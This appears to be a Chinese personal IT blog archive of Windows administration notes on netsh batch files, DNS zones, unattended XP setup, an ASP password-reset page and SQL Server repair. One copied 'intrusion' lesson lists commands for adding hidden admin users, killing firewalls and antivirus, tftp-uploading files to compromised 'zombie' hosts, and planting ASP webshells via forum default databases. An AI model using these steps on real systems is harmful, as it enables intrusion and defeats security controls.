|
|
2009年1月4日
建立批命令快速修改本机IP地址 2007-02-16 09:43
在Windows 2000系统的桌面上建立一个新的文本文档“NetSet1.txt”,在其中输入上述的网络配置指令,而后保存退出。其包含内容如下:
@Echo Off #设定当前网卡“本地连接”对应的外网IP地址和地址掩码;
Netsh interface ip Set address Local Source=static addr=168.133.22.12 mask=255.255.255.0 #设定网关的IP地址和寻址的权值;
Netsh interface ip Set Address Name=“本地连接”
gateway=168.133.22.1 gwmetric=1 #设定局域网中主DNS服务器的IP地址;
Netsh interface ip Set Dns Name=“本地连接” Source=static addr=168.133.22.2
选中该文本文件,按F2快捷键将其改名为“NetSet1.bat”,使之变成一个可执行的批处理文件。同时为了与其它用于更改网络配置的批处理文件相区别,还可以通过鼠标右键激活其“属性”对话框,在其中修改其对应的显示图标。按照同样的方法,我们还可创建多个网络配置的批处理文件,只要应用上述模板,同时适当更改对应的IP数值即可完成自动配置处理,其方法可谓简洁高效,真正体现了高手的水平。设定其它可以从以下代码中参考:
# "本地连接" 的接口 IP 配置
set address name="本地连接" source=static addr=192.168.1.158 mask=255.255.255.0
set address name="本地连接" gateway=192.168.1.1 gwmetric=1
set dns name="本地连接" source=static addr=222.46.120.5 register=PRIMARY
add dns name="本地连接" addr=222.46.120.6 index=2
set wins name="本地连接" source=static addr=none另一种思路:命令法切换网络配置
首先当然是进行网络配置的备份。例如你在家中和单位里所使用的网络配置是不同的,需要分别对其进行备份。先将电脑的网络设置为家中网络配置,然后在DOS窗口中输入“netsh -C interface dump>d:\home.txt”,当然你也可以指定其他的保存位置,这样就完成了家庭网络配置的备份。同样可以将单位的网络配置备份为“office.txt”文件。
完成备份后,进行切换就比较简单了。若此时你需要设置成为家庭的网络配置,在DOS窗口中输入“netsh -f d:\home.txt”,即可完成家庭网络配置的工作;若需要设置为单位网络配置,将命令行中的配置文件改为“office.txt”即可。
如果你觉得每次都要输入命令行比较麻烦,完全可以建立相应的批处理文件,直接运行即可完成配置工作。
注意:备份工作需要在DOS窗口中完成,直接在“运行”对话框的命令行中输入命令是没有效果的,但是恢复工作可以直接在“运行”对话框中输入。同时,这个命令切换方法只在Windows 2000和Windows XP系统中有效。
2008年5月11日
网络经典命令
1.最基本,最常用的,测试物理网络的 ,参数-t是等待用户去中断测试
ping 192.168.10.88 -t
2.查看DNS、IP、Mac等
A.Win98:winipcfg
B.Win2000以上:Ipconfig/all
C.NSLOOKUP:如查看河北的DNS
C:">nslookup
Default Server: ns.hesjptt.net.cn
Address: 202.99.160.68
>server 202.99.41.2 则将DNS改为了41.2
> pop.pcpop.com
Server: ns.hesjptt.net.cn
Address: 202.99.160.68
Non-authoritative answer:
Name: pop.pcpop.com
Address: 202.99.160.212
3.网络信使
Net send 计算机名/IP|* (广播) 传送内容,注意不能跨网段
net stop messenger 停止信使服务,也可以在面板-服务修改
net start messenger 开始信使服务
4.探测对方对方计算机名,所在的组、域及当前用户名
ping -a IP -t ,只显示NetBios名
nbtstat -a 192.168.10.146 比较全的
5.netstat -a 显示出你的计算机当前所开放的所有端口
netstat -s -e 比较详细的显示你的网络资料,包括TCP、UDP、ICMP 和 IP的统计等
6.探测arp绑定(动态和静态)列表,显示所有连接了我的计算机,显示对方IP和MAC地址
arp -a
7.在代理服务器端
捆绑IP和MAC地址,解决局域网内盗用IP:
ARP -s 192.168.10.59 00-50-ff-6c-08-75
解除网卡的IP与MAC地址的绑定:
arp -d 网卡IP
8.在网络邻居上隐藏你的计算机
net config server /hidden:yes
net config server /hidden:no 则为开启
9.几个net命令
A.显示当前工作组服务器列表 net view,当不带选项使用本命令时,它就会显示当前域或网络上的计算机上的列表。
比如:查看这个IP上的共享资源,就可以
C:">net view 192.168.10.8
在 192.168.10.8 的共享资源
资源共享名 类型 用途 注释
--------------------------------------
网站服务 Disk
命令成功完成。
B.查看计算机上的用户帐号列表 net user
C.查看网络链接 net use
例如:net use z: "??.168.10.8"movie 将这个IP的movie共享目录映射为本地的Z盘
D.记录链接 net session
例如:
C:">net session
计算机 用户名 客户类型 打开空闲时间
-------------------------------------------------------------------------------
"??.168.10.110 ROME Windows 2000 2195 0 00:03:12
"??.168.10.51 ROME Windows 2000 2195 0 00:00:39
命令成功完成。
10.路由跟踪命令
A.tracert pop.pcpop.com
B.pathping pop.pcpop.com 除了显示路由外,还提供325S的分析,计算丢失包的%
11.关于共享安全的几个命令
A.查看你机器的共享资源 net share
B.手工删除共享
net share c$ /d
net share d$ /d
net share ipc$ /d
net share admin$ /d
注意$后有空格。
C.增加一个共享:
c:"net share mymovie=e:"downloads"movie /users:1
mymovie 共享成功。
同时限制链接用户数为1人。
12.在DOS行下设置静态IP
A.设置静态IP
CMD
netsh
netsh>int
interface>ip
interface ip>set add "本地链接" static IP地址 mask gateway
B.查看IP设置
interface ip>show address
|
指定域的名称或安全标识SID与该域的信任信息不一致
我在虚拟机上使用差别硬盘,DC和工作站是出自同一硬盘的差别硬盘,在登录域时,提示“指定域的名称或安全标识SID与该域的信任信息不一致”,
原因:member登陆domain时,访问DC上AD,而DC的SID和member的相同(同一个虚拟机clone的)产生错误信息。
解决方法:
①win2k3按装光盘\support\tools\deploy.cab中提取sysprep.exe和setupctl.exe
②运行,并在“选择不重置激活的宽限期” 重新封装 并重启,重启后会对SID、网络、电脑名字、公司名字等一些信息重新设置,完。
|
建立主DNS区域和辅助DNS区域的最佳实践
说明:
合理规划并建立DNS区域是科学建立AD域的前提。这里打算用两台服务器作为将来AD域的DNS域名解析,他们分别命名为SVR1和SVR2,域名为MYSITE.com。
设置主DNS区域
1、首先分别在SVR1和SVR2上安装WINDOWS2000/2003,然后安装DNS服务并启动该服务。
2、进行IP设置。
SVR1 LAN1 IP 设置如下: (准备作为主DNS服务器)
IP: 192.168.0.1
子网掩码: 255.255.255.0
默认网关: 空
首选DNS服务器: 192.168.0.1
备用DNS服务器: 空
SVR1 LAN2 IP 设置如下: (准备作为辅助DNS服务器)
IP: 192.168.0.2
子网掩码: 255.255.255.0
默认网关: 空
首选DNS服务器: 192.168.0.1
备用DNS服务器: 空
3、新建DNS区域
在主DNS服务器上(SVR1)打开DNS控制台,展开SVR1后选中正向查找区域,接着点鼠标右键或者在操作菜单点新建区域。
然后跟着向导创建一个主要区域。
注意:在第4步向导将询问是否允许动态更新,这时应该选择允许非安全和安全动态更新。
4、在DNS区域注册服务器名称
分别在SVR1和SVR2上更改计算机名,主要目标是将完整的计算机名改为svr1.mysite.com这种形式。方法如下:
打开系统属性->计算机名->更改->其他,然后在DNS后缀和NetBIOS计算机名的对话框中输入此计算机的主DNS后缀“mysite.com”。
注意:这里有个选项必须选中不然该计算机名无法正确注册到DNS中。就是选项“在域成员身份变化时,更改主DNS后缀”
然后打开命令行cmd,输入ipconfig /registerDNS。这样操作后如果网络速度快的情况下,可以立即在DNS中发现已经出现了完整的计算机名称。应该有这样两条A记录。
svr1.mysite.com
svr2.mysite.com
5、设置名称服务器
打开主DNS服务器上(SVR1)打开DNS控制台,展开SVR1,展开正向查找区域,选中区域“mysite.com”,然后点鼠标右键选属性。或者直接点工具栏上表示属性的按钮。
打开“mysite.com”的属性对话框之后,点名称服务器,然后点添加。这时会出现一个新建资源记录对话框,点浏览。出现浏览对话框,逐层打开SVR1,正向查找区域,然后将svr2.mysite.com选中点确定。
多次确定后回到“mysite.com”名称服务器属性,可以看到svr2.mysite.com已经被添加到名称服务器列表当中了。这时可以点应用,然后点确定。这样就可以在“mysite.com”区域中看到多了一条“名称服务器(NS) svr2.mysite.com”的记录。
至此主DNS服务器和“mysite.com”区域的设置已经完成,可以在命令行用ping这个命令检查,是否能够ping通svr1.mysite.com和svr2.mysite.com。也可以用nslookup检查DNS解析svr1.mysite.com和svr2.mysite.com是否正确。具体方法见相关命令帮助。
设置辅助DNS区域
前面我已经在SVR1上设置了“mysite.com”区域的主DNS区域,现在我们到SVR2上进行辅助DNS区域的设置。
1、进行IP设置。
首选DNS服务器: 192.168.0.2
注意:刚才是为了顺利在主DNS服务器上注册SVR2才将SVR2的首选DNS服务器设置为192.168.0.1,SVR2注册成功后应该将SVR2的首选DNS服务器设置指向他自身。
2、添加辅助DNS区域
打开辅助DNS服务器上(SVR2)打开DNS控制台,展开SVR2后选中正向查找区域,接着点鼠标右键或者在操作菜单点新建区域。
然后跟着向导创建一个辅助区域。在第三步输入“mysite.com”,在第四步输入“mysite.com”主DNS区域的IP地址,也就是SVR1的IP地址。完成后可以通过F5来刷新,或者通过操作菜单选择“从主服务器复制”或“从主服务器重新加载”。
如果刷新后点击“mysite.com”区域能够看到之前建立的记录就表示成功了。如果出现错误提示请检查IP设置中首选DNS服务器是否已经改为本机IP地址。
至此辅助DNS区域的服务器也设置完毕了。只要按照上述步骤应该可以顺利建立主DNS区域和辅助DNS区域,如果遇到问题多半和IP设置有关系,请检查两个服务器的IP设置是否正确,分别在两台服务器上能否ping通对方,以及DNS解析两个服务器完整计算机名称是否正确。
通过设置主DNS区域和辅助DNS区域可以提高DNS查询的相应速度,是建立AD域的前提。希望本文能对大家在建立DNS和AD时有所帮助。
洪虎
2008-5-10
2007年1月8日
|
无人职守安装 XP
安装Windows XP的方法很多,这里要讲的是如何进行无人职守的安装过程。因为如果在一个企业中有数百台相同配置的电脑需要在最短的时间内安装好系统时,这种方式就是比较好的一个方法。
首先让我们来了解一下如何实现无人职守的安装。其实也就是Windows安装文件在进行安装的过程中,所需要用户输入的各类信息例如:“安装源路径”、“用户名”、“单位名称”、“安装序列号”、“计算机名”、“管理员密码”、“工作组或域”、“网络设置”等等,由系统管理员事先在一个文本文件中设定好,然后在安装时给安装程序指定这个应答文件即可。我们知道实际的安装过程还是有些复杂的,所以应答文件也会变得很复杂。为了解决这个问题,微软提供了一个安装管理向导(setupmgr.exe)这个程序帮助我们书写一个规范的应答文件(unattend.txt),以及一个自动运行的批处理文件(unattend.bat),通过这个文件我们在DOS方式下都可以自动引导安装程序开始安装。下面就来讲如何制作一个这样的文件。
首先我们要找到setupmgr.exe这个安装管理向导,通常这个文件没有安装到计算机上,可以在Windows XP安装光盘上的SUPPORT\TOOLS\DEPLOY.CAB这个压缩文件中提取它。
取得这个文件后,可以把它放置到任何位子。但是有些事情,必须在开始动手前进行规划。因为这个工具执行后不仅仅只是做几个应答文件而已,它还会为发布这个带有应答文件的XP安装程序开启“分布共享”的目录,并且把所有安装过程需要的文件全部拷贝到这个目录下。有了这个“分布共享”目录,在一个网络环境中就很容易在网上邻居中找到这个目录,其他电脑就能够通过网络路径来访问这里的安装程序。如果现在正打算将一个所有客户机都是Windows 98的这样一个网络升级到Windows XP,那么这种通过“分布共享”的方式升级就是最佳操作方案。所以这样一来,你要开放“分布共享”的电脑或服务器必须能够被所有客户机访问,而且相应的访问权限。
接下来你需要规划这个网络中客户机的机器名称。原因很简单,就是同一个网络中不允许有两台同名的机器出现。所以在动手制作应答文件前可以给可能出现的机器名作一个规划。例如:按照机器所属的部门不同给出机器名的前缀,后面加序号。如:ZJB001,代表总经办的第一台客户机。这样你可以在一个文本文件中列举出这些机器名称,格式如下:
ZJB001
ZJB002
ZJB003
CW001
CW002
CW003
……
这个文件会在后面制作应答文件时用到。
准备好以上两项内容后,就可以开始运行SETUPMGR这个安装管理向导了。
第一步:创建新文件
在欢迎界面后首先出现的就是有关应答文件的选项。通过这个可以新建一个应答文件,或者修改已经存在的应答文件。这里由于我们是首次制作应答文件,所以选择“创建新文件”。
第二步:选择安装类型
在这一步可以看到有三种安装类型,“无人参与安装”、“Sysprep安装”、“远程安装服务(RIS)”。其中“Sysprep安装”就是最小化安装。由此可见,这个工具的功能还不仅仅能做“无人职守安装”,还可以做远程安装。当然这次我们就选择“无人参与安装”。
第三步:选择准备安装的产品
在这个步骤可以看到共有五类Windows产品可以选择。由于我们这次是想做Windows XP的无人职守安装文件,所以要选择“Windows XP Home Edition”或者“Windows XP Professional”这两项当中的一项。又因为是在公司环境使用,所以这里选择“Windows XP Professional”这项比较好。
第四步:选择用户交互方式
这里是设置在安装过程中,与用户交互的方式。由于是无人职守安装,所有安装的基本设置都由管理员事先设置好,所以没有必要让用户参与。这里我们选择“全部自动”的方式。
第五步:设置“分布共享”
在这个步骤可以看到有三个选项,分别是“新建分布共享”、“修改现有的分布共享”和“从CD安装”,通过这些选项很清楚我们的选择是“新建分布共享”,因为我们不打算从光盘来进行安装。很多公司的办公电脑都是没有光驱的,但是这些电脑一定是要联网的。
第六步:指定安装源的位置
这个选项是用来给这个工具指定安装程序源文件的位置。以便在后续的步骤中从这个指定的位置拷贝所需要的文件到“分布共享”目录。这里共有两个选项“从CD”和“从下列文件”。这里我选择“从CD”,因为我准备的Windows XP安装程序在光盘中。当我选择“从CD”后,该程序开始搜索光盘,并且找到安装程序目录。如果它发现有多个安装程序目录,会提示你进行选择。
第七步:指定分布共享的位置
这时系统会默认指定一个共享的位置,通常是当前电脑的系统盘下的Windist目录。这时你可以修改这个目录,也可以不修改。当点下一步时该向导会在指定位置创建这个目录,并给它开放共享。建议在开放共享后,检查一下这个共享目录的访问权限,以免出现有些用户无法访问情况。
第八步:是否接受许可协议
这一步当然要选择接受,不然安装程序会在安装过程中停下,等待用户确认。
第九步:应答文件基本设置
这一步有很多内容可以设置,但是并不是所有内容都必须设置,你可以根据自己对网络和客户系统的规划有选择的进行设置,其他的就可以选择默认值。相信对于有安装XP系统经验的人来说这些选项的含义就不必一一解释了,这里我就忽略过去。
但是有一点特殊的可以提示一下。就是在这个设置中有一项可以留意,就是附加命令。通常我们看到有些高手制作的全自动安装光盘,在系统安装完成后,还会将一些常用软件一并进行安装。我想就是通过这些命令来实现的。但我今天时间有限,没能试用这个功能,其他有兴趣的朋友可以试验一下。
第十步:复制安装文件到“分布共享”目录
这个过程是安装管理向导自动完成的,用来把安装过程中需要用到的Windows安装文件和其他文件复制到“分布共享”目录。这个过程完成后,一份无人职守安装文件包就完成了。
但是要真正达到能够正确执行的状态,有些参数还需要手工调整。现在我们需要通过网上邻居打开共享的Windist这个“分布共享”目录。然后复制网络路径,例如:\\server\Windist,然后打开unattend.bat这个批处理文件,将SET AnswerFile = .\unattend.txt这个修改为SET AnswerFile = \\server\windist\unattend.txt,然后将 SET UdfFile = .\unattend.udb 这个修改为SET UdfFile = \\server\windist\unattend.udb,然后保存。这样就可以到客户机上通过网络地址\\server\windist,来访问安装文件了。可以直接运行unattend.bat开始安装。
另外需要注意的是,这种情况下进行的是全新安装,而不是升级安装,所以原先电脑上有关用户的个人信息,例如:常用网址、聊天记录、联系人列表、我的文档中的所有文件、收件箱等等这些重要文件和数据应该事先先备份好,以免丢失。
洪虎 2007-1-8
|
2006年12月25日
本文摘抄自http://www.cnitblog.com/zhangyafei/
第一课: 入侵必备DOS命令总结
一.对用户操做
net user --------查看有哪些用户
net user guest /active:yes ------ 激活guest用户
net user 用户名 密码 /add ------建立用户
net localgroup administrators 用户名 /add ------- 把“用户”添加到管理员中使其具有管理员权限
二.必备命令
net start -----查看开启了哪些服务
net start 服务名-----开启服务
net stop 服务名------停止某服务
netstat -an :查看端口的网络连接情况
ipconfig :查看本地ip地址
三.关防火墙,杀毒软件命令
net stop sharedaccess ----关系统自带防火墙
pskill.exe ravmon -----杀掉瑞星软件
pskill.exe pfw ----关天网防火墙
net stop "Symantec AntiVirus"----关于诺顿企业版
net stop KAVStart------关闭金山杀毒
向肉鸡上传文件命令:
第一种方法:tftp
命令格式:tftp -i 你的公网IP get xx.exe
:计算机运行命令全集 winver---------检查Windows版本 wmimgmt.msc----打开windows管理体系结构 wupdmgr--------windows更新程序 winver---------检查Windows版本 wmimgmt.msc----打开windows管理体系结构 wupdmgr--------windows更新程序 wscript--------windows脚本宿主设置 write----------写字板winmsd-----系统信息 wiaacmgr-------扫描仪和照相机向导 winchat--------XP自带局域网聊天 mem.exe--------显示内存使用情况 Msconfig.exe---系统配置实用程序 mplayer2-------简易widnows media player mspaint--------画图板 mstsc----------远程桌面连接 mplayer2-------媒体播放机 magnify--------放大镜实用程序 mmc------------打开控制台 mobsync--------同步命令 dxdiag---------检查DirectX信息 drwtsn32------ 系统医生 devmgmt.msc--- 设备管理器 dfrg.msc-------磁盘碎片整理程序 diskmgmt.msc---磁盘管理实用程序 dcomcnfg-------打开系统组件服务 ddeshare-------打开DDE共享设置 dvdplay--------DVD播放器 net stop messenger-----停止信使服务 net start messenger----开始信使服务 notepad--------打开记事本 nslookup-------网络管理的工具向导 ntbackup-------系统备份和还原 narrator-------屏幕"讲述人" ntmsmgr.msc----移动存储管理器 ntmsoprq.msc---移动存储管理员操作请求 netstat -an----(TC)命令检查接口 syncapp--------创建一个公文包 sysedit--------系统配置编辑器 sigverif-------文件签名验证程序 sndrec32-------录音机 shrpubw--------创建共享文件夹 secpol.msc-----本地安全策略 syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码 services.msc---本地服务设置 Sndvol32-------音罖@刂瞥绦?br>sfc.exe--------系统文件检查器 sfc /scannow---windows文件保护 tsshutdn-------60秒倒计时关机命令 tourstart------xp简介(安装完成后出现的漫游xp程序) taskmgr--------任务管理器 eventvwr-------事件查看器 eudcedit-------造字程序 explorer-------打开资源管理器 packager-------对象包装程序 perfmon.msc----计算机性能监测程序 progman--------程序管理器 regedit.exe----注册表 rsop.msc-------组策略结果集 regedt32-------注册表编辑器 rononce -p ----15秒关机 regsvr32 /u *.dll----停止dll文件运行 regsvr32 /u zipfldr.dll------取消ZIP支持 cmd.exe--------CMD命令提示符 chkdsk.exe-----Chkdsk磁盘检查 certmgr.msc----证书管理实用程序 calc-----------启动计算器 charmap--------启动字符映射表 cliconfg-------SQL SERVER 客户端网络实用程序 Clipbrd--------剪贴板查看器 conf-----------启动netmeeting compmgmt.msc---计算机管理 cleanmgr-------**整理 ciadv.msc------索引服务程序 osk------------打开屏幕键盘 odbcad32-------ODBC数据源管理器 oobe/msoobe /a----检查XP是否激活 lusrmgr.msc----本机用户和组 logoff---------注销命令 iexpress-------木马捆绑工具,系统自带 Nslookup-------IP地址侦测器 fsmgmt.msc-----共享文件夹管理器 utilman--------辅助工具管理器 gpedit.msc-----组策略
第二课:x-scan扫描器的使用技巧详解
一.详解x-scan的配置:
1.扫描模块设置:
1).开放服务
(2).远程控制系统
(3).nt-server弱口令-----administrator 空口令或弱口令.
(4).sql-server弱口令 ---sa 空口令或弱口令.
2.扫描IP范围设置:
(1).指定IP范围.
(2).从文件中导入IP列表.
二.x-scan在入侵中的应用:
1.对系统的综合安全检测,有针对性的入侵.
2.找肉鸡
nt-server弱口令
sql-server弱口令
3.邮箱,ftp,vnc的破解
三.x-scan入侵实例演示部分:
1.找同一城市的nt-server弱口令肉鸡.(一般都是个人PC)
2.s扫 + x-scan扫描 找sa空口令肉鸡(一般都是服务器)
s扫描-----扫开放1433的机子
x-scan扫描-----对开放1433的机子进行弱口令探测.
第五课:网站猎手批量入侵实战演示
黑天
一.二个重点要素:
1.关键字: 存在漏洞的程序所共有的特证.关键字一定要选准,这样命中率才高.
选择技巧:一般选择论坛最低部的版权信息或程序名称.
2.检测的页面或文件: 也就是程序存在漏洞的地方
二.网站猎手批量入侵实战演示篇:
1.实战演示一:
检测的页面或文件: data/dvbbs7.mdb
关键字:Powered By :Dvbbs Version 7.0.0
由默认数据库到拿网站webshell过程:
第一步:下载动网默认数据库
第二步:在数据库中找管理员密码
技巧:动网论坛不需要破解MD5管理员密码,可以查看日志文件直接找到密码.
第三步:在前台以jpg格式上传asp木马.
第四步:用备份数据库功能把jpg格式备份成我们的ASP木马.
2.演示二:
检测的页面或文件:database/bbsxp.mdb
关键字:Powered by BBSXP 7.00
3.演示三:
检测的页面或文件:upfile_flash.asp
关键字:商城
四:关于批量得webshell的其它思路
1.思路一:
到大型源码下载中心,把下载量较大的源程序,下载回来研究.
主要研究他们的默认数据库地址,默认管理账号和密码,默认后台.
然后用关键字结合网站猎手批量检测.很快就提到大量webshell
2.思路二:社会工程学批量入侵拿webshell
1.免杀
2.破解
3.程序汉化,个性修改.
二.脱壳四步骤:
第一步:查壳
常用查壳工具: PEID ,FI ,PE-SCAN 等.
第二步:找OEP
工具:ollydbg
第三步:脱壳
常用脱壳工具:
1.OD自带的脱壳插件:右键脱壳之.
2.LordPE:选择所调试进程右键,完整脱壳.
第四步:修复
Import REConstructor 1.6
三.在ollydbg脱壳中常用快捷键介绍
F2: 下断点.
F4:运行到所选择的那一行.-----遇到向上跳时用到
F7:单步进入----遇到近call时用到.
F8:单步跟踪
F9:运行程序
Shift+F9 :忽略异常运行
Alt+M:打开内存镜像
什么时候用,用哪个?以后会在具体实践操作中具体讲
2006年12月22日
摘自 IT Pro 2004-8-25 14:54:26 winmag 作者: winmag
|
怎样建立一个可以供用户修改密码的web页面?
你可以使用动态服务器主页(AS))脚本建立一个密码修改页面。ASP能够完全访问微软活动目录服务界面(ADSI),以让你可以使用不同的功能。比如修改密码或者建立帐号。当你编写这样脚本的时候,你必须考虑诸如脚本在哪个帐号下运行或者你希望运行此脚本的权限等因素。最基本的修改用户密码的ADSI命令是:
set usr = GetObject("LDAP://CN=John
Savill,CN=Users,DC=savilltech,DC=com")
usr.put "userPassword", NewPassword
第一行(因为空格的缘故显示为两行)为域savilltech.com中用户john savil赋一个句柄。下一行将文本newpassword放到userpassword属性中
我编写了一个简短名为changpass.asp的脚本以提示用户输入用户名和密码(注意将savilltech.com替换为你当前的域名).changepass.asp代码可以在此处下载。如下面所示:
<%
strUserCN = request.form("cn")
strNewPassword = request.form("newpass")
strPassVerify = request.form("passverify")
if strUserCN="" then
response.write "<html><head><title>Change Password</title></head><body>"
response.write "<center><h1>Web Password Reset</h1></center>"
response.write "<hr><br><br><form method=post action=changepass.asp><table>"
response.write "<tr><td>CN: </td><td><input type=text name=cn></td><tr>"
response.write "<tr><td>New Password: </td><td><input type=password name=newpass></td></tr>"
response.write "<tr><td>Verify Password: </td><td><input type=password name=passverify></td></tr>"
response.write "<tr><td colspan=2 align=center><input type=submit value='Reset Password'></td></tr>"
response.write "</table></body></html>"
response.end
else
if strNewPassword = strPassVerify then
set usr = GetObject("LDAP://CN=" & strUserCN & ",CN=Users,DC=savilltech,DC=com")
usr.put "userPassword", strNewPassword
response.write "<html><head><title>Results</title></head><center><h1>Update Results</h1></center><hr><br><br>"
response.write strUserCN & ": password was successfully updated"
response.end
else
response.write "<html><head><title>Error!</title></head><body>"
response.write "<center><h1>An Error Has Occurred!</h1></center>"
response.write "<hr><br><br>"
response.write "The password and confirmation do not match. Please go back and try again."
response.end
end if
end if
在之前我们讨论的一个关于“是否windows2003提供了一个让用户远程通过web修改密码的方法”的问题,windows server 2003 自己提供了一个网页来修改密码。然而,你会发现在自己的web页面或者站点利用实例ASP脚本建立一个密码修改界面是非常有用的。
|
2006年12月20日
用Sql2000的数据库,其中有个表 barcode 估计损坏了
在查询分析器执行 select * from barcode
提示
服务器: 消息 3624,级别 20,状态 1,行 1
Location: recbase.cpp:1371 Expression: m_nVars > 0 SPID: 52 Process ID: 776
连接中断
然后
执行 dbcc checktable(lhstock)
提示
服务器: 消息 8928,级别 16,状态 1,行 1 对象 ID 1237579447,索引 ID 0: 未能处理页 (1:13464)。详细信息请参阅其它错误。 服务器: 消息 8944,级别 16,状态 1,行 1 表错误: 对象 ID 1237579447,索引 ID 0,页 (1:13464),行 8。测试(ColumnOffsets <= (nextRec - pRec))失败。值为 16680 和 972。 服务器: 消息 8964,级别 16,状态 1,行 1
修复办法
use master GO
-- sp_dboption 用于显示或更改数据库选项。当为 single user 选项为 true 时,每次只能有一个用户访问数据库。
sp_dboption 'lhstock','single user','true'
DBCC CHECKDB('lhstock',REPAIR_ALLOW_DATA_LOSS)
sp_dboption 'lhStock','single user','false'
'lhstock' 的 DBCC 结果。
'Barcode' 的 DBCC 结果。 对象 'Barcode' 有 326848 行,这些行位于 6896 页中。
CHECKDB 发现了 0 个分配错误和 0 个一致性错误(在数据库 'lhStock' 中)。 DBCC 执行完毕。如果 DBCC 输出了错误信息,请与系统管理员联系。
2006年12月5日
1 Attribute VB_Name = "模块1" 2 Sub Macro1() 3 Attribute Macro1.VB_Description = " " 4 Attribute Macro1.VB_ProcData.VB_Invoke_Func = " \n14" 5 ' 6 ' Macro1 Macro 7 ' 宏由 Eric yang 录制,时间: 8 ' 9 10 ' 11 ChDir "D:\" 12 13 cDir = "D:\" 14 15 Do While True 16 17 FName = InputBox("请输入要转换的文件名:", "转换到CSV") 18 19 If FName = "" Then 20 Exit Sub 21 End If 22 23 Workbooks.Open Filename:=cDir & FName & ".xls" 24 25 ActiveWorkbook.SaveAs Filename:=cDir & FName & ".csv", FileFormat:=xlCSV, _ 26 CreateBackup:=False 27 28 ActiveWindow.Close SaveChanges:=-1 29 30 Loop 31 32 End Sub 33
2006年11月24日
用命令检查电脑是否被安装木马
一些基本的命令往往可以在保护网络安全上起到很大的作用,下面几条命令的作用就非常突出。 检测网络连接
如果你怀疑自己的计算机上被别人安装了木马,或者是中了病毒,但是手里没有完善的工具来检测是不是真有这样的事情发生,那可以使用Windows自带的网络命令来看看谁在连接你的计算机。具体的命令格式是:netstat -an这个命令能看到所有和本地计算机建立连接的IP,它包含四个部分——proto(连接方式)、local address(本地连接地址)、foreign address(和本地建立连接的地址)、state(当前端口状态)。通过这个命令的详细信息,我们就可以完全监控计算机上的连接,从而达到控制计算机的目的。
禁用不明服务
很多朋友在某天系统重新启动后会发现计算机速度变慢了,不管怎么优化都慢,用杀毒软件也查不出问题,这个时候很可能是别人通过入侵你的计算机后给你开放了特别的某种服务,比如IIS信息服务等,这样你的杀毒软件是查不出来的。但是别急,可以通过“net start”来查看系统中究竟有什么服务在开启,如果发现了不是自己开放的服务,我们就可以有针对性地禁用这个服务了。方法就是直接输入“net start”来查看服务,再用“net stop server”来禁止服务。
轻松检查账户
很长一段时间,恶意的攻击者非常喜欢使用克隆账号的方法来控制你的计算机。他们采用的方法就是激活一个系统中的默认账户,但这个账户是不经常用的,然后使用工具把这个账户提升到管理员权限,从表面上看来这个账户还是和原来一样,但是这个克隆的账户却是系统中最大的安全隐患。恶意的攻击者可以通过这个账户任意地控制你的计算机。为了避免这种情况,可以用很简单的方法对账户进行检测。
首先在命令行下输入net user,查看计算机上有些什么用户,然后再使用“net user 用户名”查看这个用户是属于什么权限的,一般除了Administrator是administrators组的,其他都不是!如果你发现一个系统内置的用户是属于administrators组的,那几乎肯定你被入侵了,而且别人在你的计算机上克隆了账户。快使用“net user 用户名 /del”来删掉这个用户吧!
2006年11月7日
在 doNet 下转换日期格式到字符串用的格式化字符串为:“yyyy-MM-dd” 例如:
using System;
using System.Globalization;

 public class MainClass {
 public static void Main(string[] args) {
DateTime dt = DateTime.Now;
 String[] format = {
"d", "D",
"f", "F",
"g", "G",
"m",
"r",
"s",
"t", "T",
"u", "U",
"y",
"dddd, MMMM dd yyyy",
"ddd, MMM d \"'\"yy",
"dddd, MMMM dd",
"M/yy",
"dd-MM-yy",
};
String date;
 for (int i = 0; i < format.Length; i++) {
date = dt.ToString(format[i], DateTimeFormatInfo.InvariantInfo);
Console.WriteLine(String.Concat(format[i], " :" , date));
}
 /**//** Output.
*
* d :08/17/2000
* D :Thursday, August 17, 2000
* f :Thursday, August 17, 2000 16:32
* F :Thursday, August 17, 2000 16:32:32
* g :08/17/2000 16:32
* G :08/17/2000 16:32:32
* m :August 17
* r :Thu, 17 Aug 2000 23:32:32 GMT
* s :2000-08-17T16:32:32
* t :16:32
* T :16:32:32
* u :2000-08-17 23:32:32Z
* U :Thursday, August 17, 2000 23:32:32
* y :August, 2000
* dddd, MMMM dd yyyy :Thursday, August 17 2000
* ddd, MMM d "'"yy :Thu, Aug 17 '00
* dddd, MMMM dd :Thursday, August 17
* M/yy :8/00
* dd-MM-yy :17-08-00
*/
}
}

2006年11月6日
系统发现程序运行或其他问题时通常会以异常的方式报告错误。
那么在C#中如何定义自己的异常呢。可以参考一下代码。
throw new Exception("自定义错误信息.......................");
或者自定义一个异常类,让这个类继承自System.Exception,这样也能用 “ throw ” 抛出这个异常。
洪虎
2006-11-6
2006年10月28日
2006年10月19日
今天要做个报表,其中用到了UPDATE 的多表更新,通常这种更新的语法我是很熟练的,但今天写好后查询分析器检查时总是提示错误: 消息 4104,级别 16,状态 1,第 1 行 The multi-part identifier "S.RetailQty" could not be bound. 我的脚本如下:
update #StorageDetail set S.RetailQty = R.Qty, S.Amount = R.Amount from #StorageDetail S inner join #RetailBill R on (S.ShopId = R.ShopId) and S.prodid = R.prodid and S.color = R.color and S.Size = R.Size
经多方查询无果后,我只有自己用一个最简单的DEMO来测试我得这个更新语法结果发现了问题。 我的DEMO的代码如下:
create table #A (a char(10), b char(10),qty int) insert into #A(a,b,qty) values('A01','0',10) insert into #A(a,b,qty) values('A02','0',9) insert into #A(a,b,qty) values('A02','0',9) insert into #A(a,b,qty) values('A03','0',8) insert into #A(a,b,qty) values('A04','0',7) create table #B (a char(10), b char(10),qty int) insert into #B(a,b,qty) values('A01','0',1) insert into #B(a,b,qty) values('A02','0',2) insert into #B(a,b,qty) values('A03','0',3) insert into #B(a,b,qty) values('A03','0',8) insert into #B(a,b,qty) values('A04','0',4)
alter table #a add qty2 int
update a set a.qty2 = b.qty from #a a inner join #b b on a.a = b.a and a.b = b.b
select * from #a select * from #b
drop table #a drop table #b
结果这个DEMO执行正常,在仔细比较两个更新语句发现问题处在对表使用别名上。在DEMO中我Update 后跟的表名是#a 的别名a,而我正式脚本中的Update后跟的是表名,而不是别名。后来又把这个临时表改为正式表,也是这样。这说明在一个SQL语句中如果定义了表的别名就必须使用别名,而不能再继续使用表名。否则就会出错。 洪虎 2006-10-19
2006年10月18日
适配器模式我理解他就是为了协调已有代码和不断变化的需求的一个折中的选择。
例如:
